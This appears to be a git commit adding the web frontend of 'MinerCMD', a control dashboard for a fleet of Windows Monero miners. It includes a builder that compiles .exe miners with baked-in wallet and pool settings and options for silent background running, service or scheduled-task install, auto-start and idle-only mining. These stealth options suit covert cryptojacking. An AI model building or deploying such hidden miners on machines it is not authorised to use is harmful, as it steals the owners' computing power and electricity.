Complete private Monero miner control stack.

Implement Windows agent with RandomX mining and WebSocket fleet reporting, wire dashboard settings into the builder with saved exe paths, and add project README.
This commit is contained in:
drjones
2026-05-26 22:51:47 -07:00
commit 6c42f2b600
48 changed files with 10001 additions and 0 deletions

22
server/web/src/App.tsx Normal file
View File

@@ -0,0 +1,22 @@
import { Routes, Route, Navigate } from 'react-router-dom';
import Layout from './components/Layout/Layout';
import DashboardPage from './pages/DashboardPage';
import AgentsPage from './pages/AgentsPage';
import BuilderPage from './pages/BuilderPage';
import SettingsPage from './pages/SettingsPage';
function App() {
return (
<Layout>
<Routes>
<Route path="/" element={<Navigate to="/dashboard" replace />} />
<Route path="/dashboard" element={<DashboardPage />} />
<Route path="/agents" element={<AgentsPage />} />
<Route path="/builder" element={<BuilderPage />} />
<Route path="/settings" element={<SettingsPage />} />
</Routes>
</Layout>
);
}
export default App;

View File

@@ -0,0 +1,53 @@
import type { Agent, Share, HashrateSample, BuildRecord, FleetStats, ServerConfig, BuildRequest, BuildResponse } from '../types';
const API_BASE = '/api/v1';
async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
const res = await fetch(`${API_BASE}${url}`, {
headers: { 'Content-Type': 'application/json' },
...options,
});
if (!res.ok) {
const err = await res.text();
throw new Error(`API error ${res.status}: ${err}`);
}
return res.json();
}
export const api = {
// Dashboard
getStats: () => fetchJSON<FleetStats>('/dashboard/stats'),
// Agents
listAgents: () => fetchJSON<Agent[]>('/agents'),
getAgent: (id: string) => fetchJSON<Agent>(`/agents/${id}`),
getAgentStats: (id: string, limit?: number) =>
fetchJSON<HashrateSample[]>(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`),
// Shares
getRecentShares: (limit?: number) =>
fetchJSON<Share[]>(`/shares${limit ? `?limit=${limit}` : ''}`),
// Builds
listBuilds: () => fetchJSON<BuildRecord[]>('/builds'),
// Config
getConfig: () => fetchJSON<ServerConfig>('/config'),
updateConfig: (config: Partial<ServerConfig>) =>
fetchJSON<ServerConfig>('/config', {
method: 'PUT',
body: JSON.stringify(config),
}),
// Builder
buildAgent: (req: BuildRequest) =>
fetchJSON<BuildResponse>('/builder/build', {
method: 'POST',
body: JSON.stringify(req),
}),
downloadBuild: (buildId: string) => `${API_BASE}/builds/${buildId}/download`,
// Health
healthCheck: () => fetchJSON<{ status: string }>('/health'),
};

View File

@@ -0,0 +1,127 @@
.layout {
display: flex;
min-height: 100vh;
}
.sidebar {
width: 240px;
background: var(--bg-secondary);
border-right: 1px solid var(--border-color);
display: flex;
flex-direction: column;
position: fixed;
top: 0;
left: 0;
bottom: 0;
z-index: 100;
}
.sidebar-header {
padding: 1.25rem 1rem;
border-bottom: 1px solid var(--border-color);
}
.logo {
display: flex;
align-items: center;
gap: 0.75rem;
}
.logo-icon {
font-size: 1.5rem;
}
.logo-text {
font-size: 1.25rem;
font-weight: 700;
background: linear-gradient(135deg, var(--accent-cyan), var(--accent-blue));
-webkit-background-clip: text;
-webkit-text-fill-color: transparent;
background-clip: text;
}
.sidebar-nav {
flex: 1;
padding: 0.75rem 0.5rem;
display: flex;
flex-direction: column;
gap: 0.25rem;
}
.nav-item {
display: flex;
align-items: center;
gap: 0.75rem;
padding: 0.75rem 1rem;
border-radius: 8px;
color: var(--text-secondary);
text-decoration: none;
font-size: 0.875rem;
font-weight: 500;
transition: all 0.2s ease;
}
.nav-item:hover {
background: var(--bg-hover);
color: var(--text-primary);
text-decoration: none;
}
.nav-item.active {
background: rgba(59, 130, 246, 0.15);
color: var(--accent-blue);
}
.nav-icon {
font-size: 1.125rem;
width: 1.5rem;
text-align: center;
}
.nav-label {
white-space: nowrap;
}
.sidebar-footer {
padding: 1rem;
border-top: 1px solid var(--border-color);
}
.version-badge {
font-size: 0.75rem;
color: var(--text-muted);
text-align: center;
}
.main-content {
flex: 1;
margin-left: 240px;
padding: 1.5rem 2rem;
min-height: 100vh;
}
@media (max-width: 768px) {
.sidebar {
width: 60px;
}
.logo-text,
.nav-label,
.sidebar-footer {
display: none;
}
.sidebar-header {
padding: 1rem 0.75rem;
}
.nav-item {
justify-content: center;
padding: 0.75rem;
}
.main-content {
margin-left: 60px;
padding: 1rem;
}
}

View File

@@ -0,0 +1,49 @@
import { ReactNode } from 'react';
import { NavLink } from 'react-router-dom';
import './Layout.css';
interface LayoutProps {
children: ReactNode;
}
export default function Layout({ children }: LayoutProps) {
return (
<div className="layout">
<nav className="sidebar">
<div className="sidebar-header">
<div className="logo">
<span className="logo-icon"></span>
<span className="logo-text">MinerCMD</span>
</div>
</div>
<div className="sidebar-nav">
<NavLink to="/dashboard" className={({ isActive }) => `nav-item ${isActive ? 'active' : ''}`}>
<span className="nav-icon">📊</span>
<span className="nav-label">Dashboard</span>
</NavLink>
<NavLink to="/agents" className={({ isActive }) => `nav-item ${isActive ? 'active' : ''}`}>
<span className="nav-icon">🖥</span>
<span className="nav-label">Agents</span>
</NavLink>
<NavLink to="/builder" className={({ isActive }) => `nav-item ${isActive ? 'active' : ''}`}>
<span className="nav-icon">🔨</span>
<span className="nav-label">Miner Builder</span>
</NavLink>
<NavLink to="/settings" className={({ isActive }) => `nav-item ${isActive ? 'active' : ''}`}>
<span className="nav-icon"></span>
<span className="nav-label">Settings</span>
</NavLink>
</div>
<div className="sidebar-footer">
<div className="version-badge">v1.0.0</div>
</div>
</nav>
<main className="main-content">
{children}
</main>
</div>
);
}

View File

@@ -0,0 +1,122 @@
import { useEffect, useRef, useCallback, useState } from 'react';
import type { WSMessage, Agent, FleetStats, Share } from '../types';
interface DashboardData {
agents: Agent[];
stats: FleetStats;
}
interface UseWebSocketReturn {
isConnected: boolean;
agents: Agent[];
stats: FleetStats | null;
recentShares: Share[];
}
export function useWebSocket(): UseWebSocketReturn {
const wsRef = useRef<WebSocket | null>(null);
const [isConnected, setIsConnected] = useState(false);
const [agents, setAgents] = useState<Agent[]>([]);
const [stats, setStats] = useState<FleetStats | null>(null);
const [recentShares, setRecentShares] = useState<Share[]>([]);
const connect = useCallback(() => {
const protocol = window.location.protocol === 'https:' ? 'wss:' : 'ws:';
const wsUrl = `${protocol}//${window.location.host}/ws/dashboard`;
const ws = new WebSocket(wsUrl);
wsRef.current = ws;
ws.onopen = () => {
setIsConnected(true);
};
ws.onclose = () => {
setIsConnected(false);
// Reconnect after 3 seconds
setTimeout(connect, 3000);
};
ws.onerror = () => {
ws.close();
};
ws.onmessage = (event) => {
try {
const msg: WSMessage = JSON.parse(event.data);
switch (msg.type) {
case 'init': {
const data = msg.payload as DashboardData;
if (data.agents) setAgents(data.agents);
if (data.stats) setStats(data.stats);
break;
}
case 'agent_online': {
const agent = msg.payload as Agent;
setAgents((prev) => {
const idx = prev.findIndex((a) => a.id === agent.id);
if (idx >= 0) {
const updated = [...prev];
updated[idx] = agent;
return updated;
}
return [...prev, agent];
});
break;
}
case 'agent_offline': {
const { agent_id } = msg.payload as { agent_id: string };
setAgents((prev) =>
prev.map((a) =>
a.id === agent_id ? { ...a, status: 'offline' as const } : a
)
);
break;
}
case 'stats_update': {
const update = msg.payload as {
agent_id: string;
hashrate_15s: number;
hashrate_1m: number;
hashrate_15m: number;
cpu_usage_pct: number;
};
setAgents((prev) =>
prev.map((a) =>
a.id === update.agent_id
? {
...a,
hashrate_15s: update.hashrate_15s,
hashrate_1m: update.hashrate_1m,
hashrate_15m: update.hashrate_15m,
cpu_usage_pct: update.cpu_usage_pct,
}
: a
)
);
break;
}
case 'new_share': {
const share = msg.payload as Share;
setRecentShares((prev) => [share, ...prev].slice(0, 50));
break;
}
}
} catch (err) {
console.error('Failed to parse WebSocket message:', err);
}
};
}, []);
useEffect(() => {
connect();
return () => {
if (wsRef.current) {
wsRef.current.close();
}
};
}, [connect]);
return { isConnected, agents, stats, recentShares };
}

13
server/web/src/main.tsx Normal file
View File

@@ -0,0 +1,13 @@
import React from 'react';
import ReactDOM from 'react-dom/client';
import { BrowserRouter } from 'react-router-dom';
import App from './App';
import './styles/global.css';
ReactDOM.createRoot(document.getElementById('root')!).render(
<React.StrictMode>
<BrowserRouter>
<App />
</BrowserRouter>
</React.StrictMode>
);

View File

@@ -0,0 +1,191 @@
import { useState, useEffect } from 'react';
import { api } from '../api/client';
import type { Agent, HashrateSample } from '../types';
import './Pages.css';
export default function AgentsPage() {
const [agents, setAgents] = useState<Agent[]>([]);
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
const [loading, setLoading] = useState(true);
useEffect(() => {
api.listAgents()
.then(setAgents)
.catch(console.error)
.finally(() => setLoading(false));
}, []);
const selectAgent = async (agent: Agent) => {
setSelectedAgent(agent);
try {
const history = await api.getAgentStats(agent.id, 60);
setHashrateHistory(history);
} catch (err) {
console.error(err);
}
};
return (
<div className="page fade-in">
<div className="page-header">
<h1>Agents</h1>
<span className="header-count">{agents.length} total</span>
</div>
{loading ? (
<div className="card empty-state">
<p>Loading agents...</p>
</div>
) : agents.length === 0 ? (
<div className="card empty-state">
<div className="empty-icon">🖥</div>
<h3>No agents registered</h3>
<p>Deploy a miner to a Windows machine and it will appear here automatically.</p>
</div>
) : (
<div className="agents-layout">
<div className="agents-list">
{agents.map((agent) => (
<div
key={agent.id}
className={`card agent-list-item ${selectedAgent?.id === agent.id ? 'selected' : ''}`}
onClick={() => selectAgent(agent)}
>
<div className="agent-list-header">
<div className="agent-list-name">
<span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span>
</div>
<span className={`status-badge ${agent.status}`}>
{agent.status}
</span>
</div>
<div className="agent-list-details">
<span>Hashrate: {formatHashrate(agent.hashrate_15m)}</span>
<span>Shares: {agent.shares_good}/{agent.shares_total}</span>
</div>
<div className="agent-list-meta">
<span>{agent.ip}</span>
<span>v{agent.version || '?'}</span>
<span>{agent.cpu_cores} cores</span>
</div>
</div>
))}
</div>
{selectedAgent && (
<div className="agent-detail card">
<h2>{selectedAgent.name}</h2>
<div className="agent-detail-grid">
<div className="detail-item">
<span className="detail-label">Status</span>
<span className={`status-badge ${selectedAgent.status}`}>
{selectedAgent.status}
</span>
</div>
<div className="detail-item">
<span className="detail-label">Wallet</span>
<span className="detail-value mono">{selectedAgent.wallet?.substring(0, 20)}...</span>
</div>
<div className="detail-item">
<span className="detail-label">IP Address</span>
<span className="detail-value">{selectedAgent.ip}</span>
</div>
<div className="detail-item">
<span className="detail-label">Version</span>
<span className="detail-value">{selectedAgent.version || 'Unknown'}</span>
</div>
<div className="detail-item">
<span className="detail-label">CPU Cores</span>
<span className="detail-value">{selectedAgent.cpu_cores}</span>
</div>
<div className="detail-item">
<span className="detail-label">Memory</span>
<span className="detail-value">{selectedAgent.memory_gb} GB</span>
</div>
<div className="detail-item">
<span className="detail-label">CPU Usage</span>
<span className="detail-value">{selectedAgent.cpu_usage_pct.toFixed(1)}%</span>
</div>
<div className="detail-item">
<span className="detail-label">Uptime</span>
<span className="detail-value">{formatUptime(selectedAgent.uptime_seconds)}</span>
</div>
</div>
<div className="detail-section">
<h3>Hashrate</h3>
<div className="hashrate-detail-grid">
<div className="hashrate-item">
<span className="detail-label">15s</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15s)}</span>
</div>
<div className="hashrate-item">
<span className="detail-label">1m</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_1m)}</span>
</div>
<div className="hashrate-item">
<span className="detail-label">15m</span>
<span className="hashrate-value">{formatHashrate(selectedAgent.hashrate_15m)}</span>
</div>
</div>
</div>
<div className="detail-section">
<h3>Shares</h3>
<div className="shares-detail-grid">
<div className="share-stat good">
<span className="share-count">{selectedAgent.shares_good}</span>
<span className="share-label">Accepted</span>
</div>
<div className="share-stat bad">
<span className="share-count">{selectedAgent.shares_bad}</span>
<span className="share-label">Rejected</span>
</div>
<div className="share-stat total">
<span className="share-count">{selectedAgent.shares_total}</span>
<span className="share-label">Total</span>
</div>
</div>
</div>
{hashrateHistory.length > 0 && (
<div className="detail-section">
<h3>Hashrate History (last {hashrateHistory.length} samples)</h3>
<div className="hashrate-chart">
{hashrateHistory.reverse().map((sample, i) => (
<div
key={sample.id}
className="chart-bar"
style={{
height: `${Math.max(5, (sample.hashrate / Math.max(...hashrateHistory.map(s => s.hashrate))) * 100)}%`,
}}
title={`${formatHashrate(sample.hashrate)} at ${new Date(sample.timestamp).toLocaleTimeString()}`}
/>
))}
</div>
</div>
)}
</div>
)}
</div>
)}
</div>
);
}
function formatHashrate(h: number): string {
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
return `${h.toFixed(0)} H/s`;
}
function formatUptime(seconds: number): string {
const d = Math.floor(seconds / 86400);
const h = Math.floor((seconds % 86400) / 3600);
const m = Math.floor((seconds % 3600) / 60);
if (d > 0) return `${d}d ${h}h`;
if (h > 0) return `${h}h ${m}m`;
return `${m}m`;
}

View File

@@ -0,0 +1,419 @@
import { useState, useEffect } from 'react';
import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig } from '../types';
import './Pages.css';
function defaultsFromConfig(config: ServerConfig, origin: string): BuildRequest {
return {
worker_name: '',
server_url: origin,
wallet: config.wallet.address,
threads: config.default_agent_config.threads,
cpu_priority: config.default_agent_config.cpu_priority,
mining_mode: config.default_agent_config.mining_mode,
silent_mode: config.background.silent_mode,
run_as: config.background.run_as,
auto_start: config.background.auto_start,
max_cpu_usage_pct: config.default_agent_config.max_cpu_usage_pct,
min_free_ram_mb: config.default_agent_config.min_free_ram_mb,
idle_threshold_pct: config.default_agent_config.idle_threshold_pct,
idle_duration_minutes: config.default_agent_config.idle_duration_minutes,
schedule_start: config.default_agent_config.schedule_start,
schedule_end: config.default_agent_config.schedule_end,
pool_host: config.pool.host,
pool_port: config.pool.port,
pool_tls: config.pool.use_tls,
pool_pass: config.pool.password,
};
}
export default function BuilderPage() {
const [form, setForm] = useState<BuildRequest | null>(null);
const [building, setBuilding] = useState(false);
const [error, setError] = useState('');
const [lastBuild, setLastBuild] = useState<BuildResponse | null>(null);
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
const [showRecent, setShowRecent] = useState(false);
const [loadingDefaults, setLoadingDefaults] = useState(true);
useEffect(() => {
api.getConfig()
.then((config) => setForm(defaultsFromConfig(config, window.location.origin)))
.catch((err) => {
console.error(err);
setError('Failed to load server defaults from Settings');
})
.finally(() => setLoadingDefaults(false));
}, []);
const loadRecentBuilds = async () => {
try {
const builds = await api.listBuilds();
setRecentBuilds(builds);
setShowRecent(true);
} catch (err) {
console.error(err);
}
};
const handleSubmit = async (e: React.FormEvent) => {
e.preventDefault();
if (!form) return;
setError('');
setLastBuild(null);
if (!form.worker_name.trim()) {
setError('Worker name is required');
return;
}
if (!form.server_url.trim()) {
setError('Server URL is required');
return;
}
if (!form.wallet.trim()) {
setError('Wallet address is required');
return;
}
setBuilding(true);
try {
const result = await api.buildAgent(form);
if (!result.success) {
throw new Error(result.error || 'Build failed');
}
setLastBuild(result);
loadRecentBuilds();
} catch (err: any) {
setError(err.message || 'Build failed');
} finally {
setBuilding(false);
}
};
const updateField = (field: keyof BuildRequest, value: any) => {
setForm((prev) => (prev ? { ...prev, [field]: value } : prev));
};
if (loadingDefaults || !form) {
return (
<div className="page fade-in">
<div className="page-header"><h1>Miner Builder</h1></div>
<div className="card"><p>Loading defaults from Settings...</p></div>
</div>
);
}
return (
<div className="page fade-in">
<div className="page-header">
<h1>Miner Builder</h1>
<button className="btn btn-outline" onClick={loadRecentBuilds}>
Recent Builds
</button>
</div>
<div className="builder-layout">
<div className="card builder-form">
<h2>Build Custom Miner</h2>
<p className="form-description">
Defaults come from Settings. Adjust per worker, then build. The server compiles a Windows
`.exe` with all values baked in and saves it under `data/builds/`.
</p>
<form onSubmit={handleSubmit}>
<div className="form-section">
<h3>Identity</h3>
<div className="form-group">
<label className="label">Worker Name</label>
<input
type="text"
className="input"
placeholder="office-pc-1"
value={form.worker_name}
onChange={(e) => updateField('worker_name', e.target.value)}
required
/>
</div>
<div className="form-group">
<label className="label">Server URL</label>
<input
type="text"
className="input"
value={form.server_url}
onChange={(e) => updateField('server_url', e.target.value)}
required
/>
<span className="form-hint">Control server URL agents connect to (LAN or tunneled domain)</span>
</div>
<div className="form-group">
<label className="label">XMR Wallet Address</label>
<input
type="text"
className="input mono"
value={form.wallet}
onChange={(e) => updateField('wallet', e.target.value)}
required
/>
</div>
</div>
<div className="form-section">
<h3>Pool Configuration</h3>
<div className="form-group">
<label className="label">Pool Host</label>
<input
type="text"
className="input"
value={form.pool_host}
onChange={(e) => updateField('pool_host', e.target.value)}
required
/>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Port</label>
<input
type="number"
className="input"
min={1}
max={65535}
value={form.pool_port}
onChange={(e) => updateField('pool_port', parseInt(e.target.value) || 3333)}
/>
</div>
<div className="form-group checkbox-group" style={{ alignSelf: 'flex-end', paddingBottom: '8px' }}>
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={form.pool_tls}
onChange={(e) => updateField('pool_tls', e.target.checked)}
/>
<span>Use TLS/SSL</span>
</label>
</div>
</div>
<div className="form-group">
<label className="label">Pool Password</label>
<input
type="text"
className="input"
value={form.pool_pass}
onChange={(e) => updateField('pool_pass', e.target.value)}
/>
</div>
</div>
<div className="form-section">
<h3>Performance</h3>
<div className="form-row">
<div className="form-group">
<label className="label">Threads</label>
<input
type="number"
className="input"
min={1}
max={128}
value={form.threads}
onChange={(e) => updateField('threads', parseInt(e.target.value) || 1)}
/>
</div>
<div className="form-group">
<label className="label">CPU Priority</label>
<select
className="select"
value={form.cpu_priority}
onChange={(e) => updateField('cpu_priority', e.target.value)}
>
<option value="idle">Idle</option>
<option value="below_normal">Below Normal</option>
<option value="normal">Normal</option>
<option value="above_normal">Above Normal</option>
<option value="high">High</option>
</select>
</div>
</div>
<div className="form-row">
<div className="form-group">
<label className="label">Max CPU Usage (%)</label>
<input
type="number"
className="input"
min={1}
max={100}
value={form.max_cpu_usage_pct}
onChange={(e) => updateField('max_cpu_usage_pct', parseInt(e.target.value) || 80)}
/>
</div>
<div className="form-group">
<label className="label">Min Free RAM (MB)</label>
<input
type="number"
className="input"
min={256}
value={form.min_free_ram_mb}
onChange={(e) => updateField('min_free_ram_mb', parseInt(e.target.value) || 1024)}
/>
</div>
</div>
<div className="form-group">
<label className="label">Mining Mode</label>
<select
className="select"
value={form.mining_mode}
onChange={(e) => updateField('mining_mode', e.target.value)}
>
<option value="always">Always Mine</option>
<option value="idle">Only When Idle</option>
<option value="scheduled">Scheduled Hours</option>
</select>
</div>
{form.mining_mode === 'idle' && (
<div className="form-row">
<div className="form-group">
<label className="label">Idle CPU Threshold (%)</label>
<input
type="number"
className="input"
value={form.idle_threshold_pct}
onChange={(e) => updateField('idle_threshold_pct', parseInt(e.target.value) || 20)}
/>
</div>
<div className="form-group">
<label className="label">Idle Duration (min)</label>
<input
type="number"
className="input"
value={form.idle_duration_minutes}
onChange={(e) => updateField('idle_duration_minutes', parseInt(e.target.value) || 5)}
/>
</div>
</div>
)}
{form.mining_mode === 'scheduled' && (
<div className="form-row">
<div className="form-group">
<label className="label">Start Time</label>
<input
type="time"
className="input"
value={form.schedule_start}
onChange={(e) => updateField('schedule_start', e.target.value)}
/>
</div>
<div className="form-group">
<label className="label">End Time</label>
<input
type="time"
className="input"
value={form.schedule_end}
onChange={(e) => updateField('schedule_end', e.target.value)}
/>
</div>
</div>
)}
</div>
<div className="form-section">
<h3>Deployment</h3>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={form.silent_mode}
onChange={(e) => updateField('silent_mode', e.target.checked)}
/>
<span>Silent / Background Mode (no console window)</span>
</label>
</div>
<div className="form-group">
<label className="label">Run As</label>
<select
className="select"
value={form.run_as}
onChange={(e) => updateField('run_as', e.target.value)}
>
<option value="user">Current User</option>
<option value="service">Windows Service</option>
<option value="scheduled">Scheduled Task</option>
</select>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={form.auto_start}
onChange={(e) => updateField('auto_start', e.target.checked)}
/>
<span>Auto-start with Windows</span>
</label>
</div>
</div>
{error && (
<div className="form-error">
<span></span> {error}
</div>
)}
<button type="submit" className="btn btn-success build-btn" disabled={building}>
{building ? 'Building...' : 'Build Miner .exe'}
</button>
</form>
</div>
{lastBuild?.success && (
<div className="card recent-builds">
<h2>Build Complete</h2>
<div className="build-success">
<p><strong>File:</strong> {lastBuild.file_name}</p>
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
<p><strong>Absolute path:</strong></p>
<code className="path-display">{lastBuild.file_path}</code>
<p><strong>Relative path:</strong></p>
<code className="path-display">{lastBuild.relative_path}</code>
{lastBuild.download_url && (
<a className="btn btn-primary" href={lastBuild.download_url} download>
Download .exe
</a>
)}
</div>
</div>
)}
{showRecent && (
<div className="card recent-builds">
<div className="recent-header">
<h2>Recent Builds</h2>
<button className="btn btn-outline" onClick={() => setShowRecent(false)}>Close</button>
</div>
{recentBuilds.length === 0 ? (
<p className="empty-text">No builds yet</p>
) : (
<div className="builds-list">
{recentBuilds.map((build) => (
<div key={build.id} className="build-item">
<div className="build-item-name">{build.worker_name}</div>
<div className="build-item-details">
<span>{build.threads} threads</span>
<span>{(build.file_size / 1024 / 1024).toFixed(1)} MB</span>
<span>{new Date(build.created_at).toLocaleString()}</span>
</div>
{build.file_path && (
<code className="path-display small">{build.file_path}</code>
)}
<a className="btn btn-outline" href={`/api/v1/builds/${build.id}/download`}>
Download
</a>
</div>
))}
</div>
)}
</div>
)}
</div>
</div>
);
}

View File

@@ -0,0 +1,163 @@
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import { useState, useEffect } from 'react';
import type { Share } from '../types';
import './Pages.css';
export default function DashboardPage() {
const { isConnected, agents, stats } = useWebSocket();
const [shares, setShares] = useState<Share[]>([]);
useEffect(() => {
api.getRecentShares(20).then(setShares).catch(console.error);
}, []);
const totalHashrate = agents.reduce((sum, a) => sum + a.hashrate_15m, 0);
const onlineCount = agents.filter((a) => a.status === 'online').length;
const totalShares = agents.reduce((sum, a) => sum + a.shares_total, 0);
const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0);
const acceptRate = totalShares > 0 ? ((acceptedShares / totalShares) * 100).toFixed(1) : '0.0';
return (
<div className="page fade-in">
<div className="page-header">
<h1>Dashboard</h1>
<div className="header-status">
<span className={`status-dot ${isConnected ? 'online' : 'offline'}`} />
<span className="status-text">{isConnected ? 'Live' : 'Reconnecting...'}</span>
</div>
</div>
{/* Stats Cards */}
<div className="grid-4 stats-grid">
<div className="card stat-card">
<div className="stat-label">Total Hashrate</div>
<div className="stat-value hashrate">
{formatHashrate(totalHashrate)}
</div>
<div className="stat-sub">across {onlineCount} active miners</div>
</div>
<div className="card stat-card">
<div className="stat-label">Miners Online</div>
<div className="stat-value">{onlineCount} / {agents.length}</div>
<div className="stat-sub">{agents.length - onlineCount} offline</div>
</div>
<div className="card stat-card">
<div className="stat-label">Shares Accepted</div>
<div className="stat-value accepted">{acceptedShares}</div>
<div className="stat-sub">{acceptRate}% accept rate</div>
</div>
<div className="card stat-card">
<div className="stat-label">Total Shares</div>
<div className="stat-value">{totalShares}</div>
<div className="stat-sub">{totalShares - acceptedShares} rejected</div>
</div>
</div>
{/* Agent Grid */}
<div className="section">
<h2>Active Miners</h2>
<div className="agent-grid">
{agents.length === 0 && (
<div className="card empty-state">
<div className="empty-icon">🖥</div>
<h3>No miners connected</h3>
<p>Build and deploy a miner using the Miner Builder to get started.</p>
</div>
)}
{agents.map((agent) => (
<div key={agent.id} className="card agent-card">
<div className="agent-card-header">
<div className="agent-name">
<span className={`status-dot ${agent.status}`} />
<span>{agent.name}</span>
</div>
<span className={`status-badge ${agent.status}`}>
{agent.status}
</span>
</div>
<div className="agent-card-stats">
<div className="agent-stat">
<span className="agent-stat-label">Hashrate</span>
<span className="agent-stat-value">{formatHashrate(agent.hashrate_15m)}</span>
</div>
<div className="agent-stat">
<span className="agent-stat-label">CPU</span>
<span className="agent-stat-value">{agent.cpu_usage_pct.toFixed(0)}%</span>
</div>
<div className="agent-stat">
<span className="agent-stat-label">Shares</span>
<span className="agent-stat-value">{agent.shares_good}</span>
</div>
<div className="agent-stat">
<span className="agent-stat-label">Uptime</span>
<span className="agent-stat-value">{formatUptime(agent.uptime_seconds)}</span>
</div>
</div>
<div className="agent-card-footer">
<span className="agent-meta">{agent.ip || 'Unknown IP'}</span>
<span className="agent-meta">v{agent.version || '?'}</span>
</div>
</div>
))}
</div>
</div>
{/* Recent Shares */}
<div className="section">
<h2>Recent Shares</h2>
<div className="card">
<table className="shares-table">
<thead>
<tr>
<th>Time</th>
<th>Agent</th>
<th>Status</th>
<th>Hash</th>
</tr>
</thead>
<tbody>
{shares.length === 0 && (
<tr>
<td colSpan={4} className="empty-table">No shares submitted yet</td>
</tr>
)}
{shares.map((share) => (
<tr key={share.id}>
<td className="time-cell">{formatTime(share.timestamp)}</td>
<td>{share.agent_id?.substring(0, 8)}...</td>
<td>
<span className={`status-badge ${share.accepted ? 'online' : 'error'}`}>
{share.accepted ? 'Accepted' : 'Rejected'}
</span>
</td>
<td className="hash-cell">{share.hash?.substring(0, 16)}...</td>
</tr>
))}
</tbody>
</table>
</div>
</div>
</div>
);
}
function formatHashrate(h: number): string {
if (h >= 1_000_000) return `${(h / 1_000_000).toFixed(2)} MH/s`;
if (h >= 1_000) return `${(h / 1_000).toFixed(2)} KH/s`;
return `${h.toFixed(0)} H/s`;
}
function formatUptime(seconds: number): string {
const d = Math.floor(seconds / 86400);
const h = Math.floor((seconds % 86400) / 3600);
const m = Math.floor((seconds % 3600) / 60);
if (d > 0) return `${d}d ${h}h`;
if (h > 0) return `${h}h ${m}m`;
return `${m}m`;
}
function formatTime(t: string): string {
const d = new Date(t);
return d.toLocaleTimeString();
}

View File

@@ -0,0 +1,616 @@
/* Page Layout */
.page {
max-width: 1400px;
margin: 0 auto;
}
.page-header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 1.5rem;
}
.page-header h1 {
font-size: 1.5rem;
font-weight: 700;
}
.header-status {
display: flex;
align-items: center;
gap: 0.5rem;
font-size: 0.875rem;
color: var(--text-secondary);
}
.header-count {
font-size: 0.875rem;
color: var(--text-muted);
background: var(--bg-card);
padding: 0.375rem 0.75rem;
border-radius: 9999px;
}
/* Stats Grid */
.stats-grid {
margin-bottom: 2rem;
}
.stat-card {
text-align: center;
}
.stat-label {
font-size: 0.8125rem;
color: var(--text-muted);
text-transform: uppercase;
letter-spacing: 0.05em;
margin-bottom: 0.5rem;
}
.stat-value {
font-size: 1.75rem;
font-weight: 700;
margin-bottom: 0.25rem;
}
.stat-value.hashrate {
color: var(--accent-cyan);
}
.stat-value.accepted {
color: var(--accent-green);
}
.stat-sub {
font-size: 0.75rem;
color: var(--text-muted);
}
/* Section */
.section {
margin-bottom: 2rem;
}
.section h2 {
font-size: 1.125rem;
font-weight: 600;
margin-bottom: 1rem;
}
/* Agent Grid */
.agent-grid {
display: grid;
grid-template-columns: repeat(auto-fill, minmax(320px, 1fr));
gap: 1rem;
}
.agent-card {
transition: border-color 0.2s ease;
}
.agent-card:hover {
border-color: var(--accent-blue);
}
.agent-card-header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 1rem;
}
.agent-name {
display: flex;
align-items: center;
gap: 0.5rem;
font-weight: 600;
}
.agent-card-stats {
display: grid;
grid-template-columns: repeat(2, 1fr);
gap: 0.75rem;
margin-bottom: 0.75rem;
}
.agent-stat {
display: flex;
flex-direction: column;
}
.agent-stat-label {
font-size: 0.6875rem;
color: var(--text-muted);
text-transform: uppercase;
letter-spacing: 0.05em;
}
.agent-stat-value {
font-size: 1rem;
font-weight: 600;
color: var(--text-primary);
}
.agent-card-footer {
display: flex;
justify-content: space-between;
font-size: 0.75rem;
color: var(--text-muted);
}
.agent-meta {
font-family: 'SF Mono', 'Fira Code', monospace;
}
/* Shares Table */
.shares-table {
width: 100%;
border-collapse: collapse;
}
.shares-table th {
text-align: left;
font-size: 0.75rem;
color: var(--text-muted);
text-transform: uppercase;
letter-spacing: 0.05em;
padding: 0.5rem 0.75rem;
border-bottom: 1px solid var(--border-color);
}
.shares-table td {
padding: 0.5rem 0.75rem;
font-size: 0.8125rem;
border-bottom: 1px solid var(--border-color);
}
.shares-table tr:last-child td {
border-bottom: none;
}
.time-cell {
font-family: 'SF Mono', 'Fira Code', monospace;
color: var(--text-muted);
font-size: 0.75rem;
}
.hash-cell {
font-family: 'SF Mono', 'Fira Code', monospace;
color: var(--text-secondary);
font-size: 0.75rem;
}
.empty-table {
text-align: center;
color: var(--text-muted);
padding: 2rem !important;
}
/* Empty State */
.empty-state {
text-align: center;
padding: 3rem 2rem;
}
.empty-icon {
font-size: 3rem;
margin-bottom: 1rem;
}
.empty-state h3 {
font-size: 1.125rem;
margin-bottom: 0.5rem;
}
.empty-state p {
color: var(--text-muted);
font-size: 0.875rem;
}
/* Agents Page */
.agents-layout {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 1.5rem;
align-items: start;
}
@media (max-width: 1024px) {
.agents-layout {
grid-template-columns: 1fr;
}
}
.agents-list {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.agent-list-item {
cursor: pointer;
transition: all 0.2s ease;
}
.agent-list-item:hover {
border-color: var(--accent-blue);
}
.agent-list-item.selected {
border-color: var(--accent-blue);
background: rgba(59, 130, 246, 0.05);
}
.agent-list-header {
